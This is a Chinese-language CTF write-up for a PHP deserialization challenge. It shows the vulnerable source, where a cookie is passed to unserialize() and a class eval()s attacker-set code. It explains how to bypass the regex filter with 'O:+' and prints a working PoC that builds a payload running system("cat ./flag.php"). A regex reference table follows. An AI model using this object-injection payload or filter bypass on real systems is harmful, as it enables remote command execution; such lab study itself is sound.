代码:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
这个题的整体思路是和上一题一样的,只不过加了个正则匹配。
还是要通过backDoor类中的getInfo()方法执行eval,eval可以执行系统命令,所以我们的目标就变成了获取backDoor类中的getInfo方法,我们可以看到info类中也有getInfo方法,且ctfShowUser类中的class属性默认的值为info类,所以我们需要通过cookie传入的值反序列化,把class属性的值改为backDoor。最后通过修改backDoor中code的值来改变执行的命令。
再看一下这个正则匹配,匹配的是O:数字或者C:数字;那我们只需要在冒号后面加个+就可以绕过这个正则匹配!
这里我们可以先反序列化,然后手改,也可以在脚本里用个str_replace,我就用个str_replace吧!
POC:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code='system("cat ./flag.php");';
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace('O:','O:+',$b);
$b=str_replace('C:','C:+',$b);
echo(urlencode($b));
?>
拿到flag!
再复习一下php的正则匹配吧
元字符 | 行为 | 示例 |
---|---|---|
* | 零次或多次匹配前面的字符或子表达式,等效于{0,} | zo* 与 “z”和“zoo”匹配 |
+ | 一次或多次匹配前面的字符或子表达式,等效于{1,} | zo+ 与 “zo”和“zoo”匹配,但与“z”不匹配 |
? | 零次或一次匹配前面的字符或子表达式,等效于{0,1} 当 ? 紧随任何其他限定符(*、+、?、{n}、{n,} 或 {n,m})之后时,匹配模式是非贪婪的。非贪婪模式匹配搜索到的、尽可能少的字符串,而默认的贪婪模式匹配搜索到的、尽可能多的字符串 | zo? 与“z”和“zo”匹配,但与“zoo”不匹配 o+? 只与“oooo”中的单个“o”匹配,而 o+ 与所有“o”匹配 do(es)? 与“do”或“does”中的“do”匹配 |
^ | 匹配搜索字符串开始的位置。如果标志中包括 m(多行搜索)字符,^ 还将匹配 \n 或 \r 后面的位置。如果将 ^ 用作括号表达式中的第一个字符,就会对字符集取反 | ^\d{3} 与搜索字符串开始处的 3 个字符匹配 abc 与除 a、b、c 以外的任何字符匹配 |
$ | 匹配搜索字符串结束的位置。如果标志中包括 m(多行搜索)字符,^ 还将匹配 \n 或 \r 前面的位置。 | \d{3}$ 与搜索字符串结尾处的 3 个数字匹配 |
. | 匹配除换行符 \n 之外的任何单个字符。若要匹配包括 \n 在内的任意字符,请使用诸如 [\s\S] 之类的模式 | a.c 与 “abc”“a1c”和“a-c”匹配 |
[] | 标记括号表达式的开始和结尾 | [1-4] 与“1”、“2”、“3”或“4”匹配 aAeEiIoOuU 与任何非元音字符匹配 |
{} | 标记限定符表达式的开始和结尾 | a{2,3} 与“aa”和“aaa”匹配 |
() | 标记子表达式的开始和结尾,可以保存子表达式,以备将来之用 | A(\d) 与“A0”至“A9”匹配。保存该数字以备将来之用 |
| | 指示两个或多个项之间进行选择 | z|food 与“z”或“food”匹配 (z|f)ood 与 “zood”或“food”匹配 |
/ | 表示 JavaScript 中的文本正则表达式模式的开始和结尾。在第二个 “/”后添加单字符标志可以指定搜索行为 | /abc/gi 是与 “abc”匹配的 JavaScript 文本正则表达式。g(全局)标志指定查找模式的所有匹配项,i(忽略大小写)标志使搜索不区分大小写 |
\ | 将下一字符标记为特殊字符、文本、反向引用或八进制转义符 | \n 与换行符匹配。( 与 “(”匹配。\ 与 “\”匹配 |
债见!